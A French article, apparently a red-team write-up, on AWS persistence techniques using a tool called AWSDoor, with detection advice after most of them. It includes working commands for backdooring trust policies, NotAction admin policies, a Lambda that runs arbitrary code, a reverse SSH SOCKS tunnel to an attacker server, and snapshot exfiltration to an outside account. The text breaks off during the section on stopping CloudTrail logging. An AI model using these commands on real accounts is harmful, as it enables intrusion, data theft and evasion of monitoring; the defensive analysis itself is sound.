Au cours de la dernière décennie, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.

Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité introduisent de nouveaux défis liés à la sécurisation de ces environnements. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations peinent encore à mettre en œuvre des stratégies de sécurité efficaces, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent les mauvaises configurations des rôles IAM, les politiques trop permissives, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.

Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, l’action la plus courante après la compromission initiale et l’escalade de privilèges consiste à mettre en place des mécanismes de persistance d’accès dans l’environnement.

Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme, même après le début des actions correctives.

Dans cet article, nous explorerons le concept de persistance d’accès dans AWS, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.

Tout au long de cette article, les fonctionnalités d’un outil dédié, conçu pour simplifier et automatiser le déploiement de techniques de persistance dans les environnements AWS, seront présentées.

Persistance sur AWS

Persistance IAM

Dans le contexte d’AWS, l’Identity and Access Management (IAM) constitue la pierre angulaire de la sécurité. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a pas été explicitement autorisée, vous ne pourrez pas l’exécuter.

Globalement, l’IAM fonctionne en associant des identités (comme les utilisateurs ou rôles IAM) à des politiques, qui sont des documents JSON décrivant les privilèges d’un objet IAM sur une ressource.

Ces politiques sont extrêmement granulaires et prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires. Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.

L’IAM est devenu un vecteur puissant de persistance d’accès et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement modifier les politiques IAM, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.

Ce qui rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité. En effet, les modifications apportées à IAM se fondent souvent dans les activités administratives légitimes, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.

Dans cette section, nous explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.

AccessKey

Attaque

La technique de persistance la plus élémentaire consiste à ajouter une AccessKey à un utilisateur.

Sur AWS, les utilisateurs peuvent se connecter via l’interface en ligne de commande (CLI) en utilisant une AccessKey. La méthode la plus simple pour établir une persistance consiste à déployer une AccessKey sur un utilisateur disposant de privilèges élevés.

Une fois la clé créée pour cet utilisateur, l’attaquant peut accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur.

Cependant, cette technique présente certaines limitations :

• Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.
• Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).

Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :

• Lister les AccessKey enregistrées sur un utilisateur
• Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable
• Supprimer l’AccessKey inutilisée

Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :

•  iam:ListAccessKeys : permet de récupérer les détails des AccessKey
•  iam:UpdateAccessKey : permet de désactiver la clé avant sa suppression
•  iam:DeleteAccessKey : permet de supprimer effectivement l’AccessKey

Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.

Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :

•  iam:CreateAccessKey

Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :

•  aws:CreateVirtualMfaDevice
•  aws:EnableMfaDevice

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AccessKey -u adele.vance

[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

La clé est ensuite ajoutée à l’utilisateur :

Défense

Bien que l’ajout d’une AccessKey à un utilisateur soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS, il s’agit également de l’une des méthodes les moins discrètes.

En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par l’utilisateur compromis via les journaux AWS CloudTrail :

De plus, certaines solutions de sécurité, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistance si les utilisateurs n’emploient généralement pas d’AccessKey.

Enfin, à titre de recommandation, il est généralement préférable d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO :  https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html.

Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile de repérer les AccessKey malveillantes et de surveiller de près celles existantes (par exemple, les utilisateurs de service CICD).

Trust Policy

Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, les rôles ne possèdent pas d’identifiants à long terme. Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.

Pour contrôler qui peut assumer un rôle, AWS utilise un document spécifique appelé Trust Policy (Politique de confiance). Une Trust Policy spécifie les identités de principaux de confiance (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) autorisées à assumer le rôle. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.

Exemple de cas d’utilisation pour AssumeRole et la Trust Policy

Imaginez une entreprise disposant de plusieurs comptes AWS :

• un pour le développement
• un pour la préproduction (staging)
• un pour la production

Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion.

Chaque compte cible définit un rôle avec des privilèges élevés (par exemple, CrossAdminAccess) et configure une TrustPolicy n’autorisant que les identités IAM du compte de gestion à l’assumer. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

Cette approche permet de maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.

Attaque

Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est gérée par la politique qui autorise explicitement un compte externe à assumer un rôle dans le compte cible.

Cependant, rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Une fois cette politique appliquée, il est possible d’assumer directement le rôle compromis depuis l’extérieur.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

 

L’outil permet de :

• Cibler une instruction spécifique avec l’argument -s : par défaut, l’outil injectera la politique de confiance dans la première instruction Allow qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.
• Créer une nouvelle instruction avec l’argument -c : avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (MALICIOUS dans l’exemple ci-dessous).

Défense

Ce type de persistance constitue un mécanisme de persistance puissant dans les environnements AWS. Cette technique ne nécessite pas de stocker des identifiants dans l’environnement victime, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.

La détection de cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.

De même, AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés.

NotAllow

Attaque

Une politique de rôle IAM (IAM role policy) est un document JSON attaché à un rôle IAM qui définit quelles actions le rôle est autorisé (ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.

Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

Dans la syntaxe des politiques, il est possible d’utiliser un opérateur de négation : au lieu de définir une liste blanche (whitelist) d’actions autorisées, il est possible de définir une liste noire (blacklist) d’actions.

En effet, en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions, sauf celles explicitement listées.

Par exemple, la politique suivante :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

Cette politique permettra au rôle d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 : elle accorde donc au rôle associé des privilèges maximaux sur le compte.

Pour un défenseur, cette politique peut, à première vue, sembler inoffensive car elle cible une ressource S3 précise. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.

Un attaquant peut ensuite installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

Pour la stratégie, il existe deux possibilités :

•  Politique attachée : c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :

• Stratégie inline (-i) : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme inline). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.

Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.

Défense

Du point de vue d’un défenseur, l’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons, en particulier lorsqu’elle est associée à des champs NotResource.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :

•  Surveiller les modifications des stratégies IAM via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.
•  Enquêter sur les documents de stratégie contenant le mot-clé NotAction : cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).
•  Appliquer un contrôle de conformité avec AWS Config : une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.

Persistance basée sur les ressources

Dans AWS, il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2 ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.

Du point de vue d’un attaquant, cette configuration peut être utile pour maintenir une persistance. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.

Cela signifie que l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.

Lambda

Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.

Par exemple, pour gérer les administrateurs de comptes, il est possible de créer une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB : la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.

Par conséquent, il n’est pas habituel d’associer une identité IAM à une fonction Lambda.

Rôle sur-privilégié

Un moyen d’obtenir une persistance sur un compte AWS consiste soit à associer une identité IAM sur-privilégiée à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.

Par exemple, un attaquant peut :

•  Créer une fonction Lambda
•  Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)
•  Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda
•  Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function

La figure suivante résume le déploiement de la persistance :

Lambda layers

La technique de persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.

Une approche plus subtile consiste à dissimuler la charge utile malveillante dans une Lambda layer plutôt que dans le code même de la fonction.

Une Lambda layer est un moyen de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.

Du point de vue d’AWS, la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console.

Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.

L’utilisation d’un layer est visible (mais peut facilement passer inaperçue), mais pour télécharger le code, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer et le télécharger (sans l’afficher) au format ZIP :

Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer lors de la phase initiale de triage.

Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.

Par exemple, après avoir téléchargé le package requests avec pip :

pip install -t python requests

L’attaquant modifie la fonction get() afin d’exécuter des commandes arbitraires :

Ensuite, le package est compressé au format ZIP et déployé en tant que layer, qui est attachée à la fonction cible :

Enfin, le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise, ce qui peut sembler inoffensif à première vue :

Ce qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

Quelques paramètres supplémentaires peuvent être utilisés :

•  -l : utiliser une couche Lambda, sinon inclure le code malveillant directement dans la Lambda
•  -g : utiliser une API Gateway, sinon utiliser une FunctionURL

L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet ; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.

La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Défense

Du point de vue d’un défenseur, les Lambda layers sont souvent négligées lors des réponses à incident, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, un contenu malveillant peut facilement passer inaperçu. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à identifier et à réagir à une utilisation suspecte des couches Lambda :

•  Auditer les attachements de Lambda layers: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.
•  Restreindre la mise à jour des layers au flux CICD : empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.
•  Vérifier les Lambda exposées directement sur Internet : exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.

Bien que les layers soient une fonctionnalité puissante et utile, elles constituent un angle mort dans de nombreuses configurations de monitoring de la sécurité AWS.

EC2

Socks

AWS Systems Manager (SSM) offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2 sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances, le tout sans les exposer à Internet public ni gérer de bastions d’accès.

L’un des principaux avantages de SSM est la réduction de la surface d’attaque grâce à la limitation des services exposés. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.

D’un point de vue sécurité, bien que SSM réduise l’exposition, il introduit également de nouveaux risques. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.

Un attaquant ayant accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2 et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :

ssh -D 4444 ssm-user@127.0.0.1:2222

Cela lui permet de faire transiter du trafic à travers l’instance EC2 compromise, en l’utilisant comme point d’appui à l’intérieur du réseau.

Exfiltration de snapshot

Bien qu’elle ne constitue pas un mécanisme de persistance, l’exfiltration de snapshot est une technique puissante d’exfiltration de données dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.

Un attaquant disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS, puis le partager avec un compte externe qu’il contrôle.

Depuis ce compte AWS externe, le snapshot peut être monté, copié et inspecté, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.

Cette méthode est particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit.

Tout cela peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.

Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.

AWSDoor

Ces deux techniques sont implémentées dans AWSDoor. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
 
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

De la même manière, l’action SSH SOCKS peut être automatisée :

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Détection

Pour la partie snapshot, CloudTrail enregistre plusieurs événements :

• CreateSnapshot : enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.
• ModifySnapshotAttribute : enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :

Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.

De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.

BackupTag=HMAC(creation_time, secret)

Pour l’exploitation en reverse SOCKS, cela dépend de la manière dont l’accès SSM est effectué :

• Depuis la console AWS (GUI) : un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.

• Depuis l’AWS CLI ou AWSDoor : l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.

Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.

Altération des défenses

L’altération des défenses désigne toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.

AWS fournit plusieurs services intégrés conçus pour surveiller l’activité, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen : CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM intégrées à leurs comptes AWS.

La désactivation ou la modification de l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.

CloudTrail et CloudWatch

Introduction à la journalisation AWS

Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.

CloudWatch, quant à lui, se concentre sur la surveillance opérationnelle. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord pour une visibilité en temps réel. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées.

La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.

CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.

CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.

En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.

Arrêt de la journalisation

Attaque

S’il n’est pas facilement possible d’altérer les capacités de journalisation de CloudWatch, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.

Cette fonctionnalité permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :

Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :

• Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.
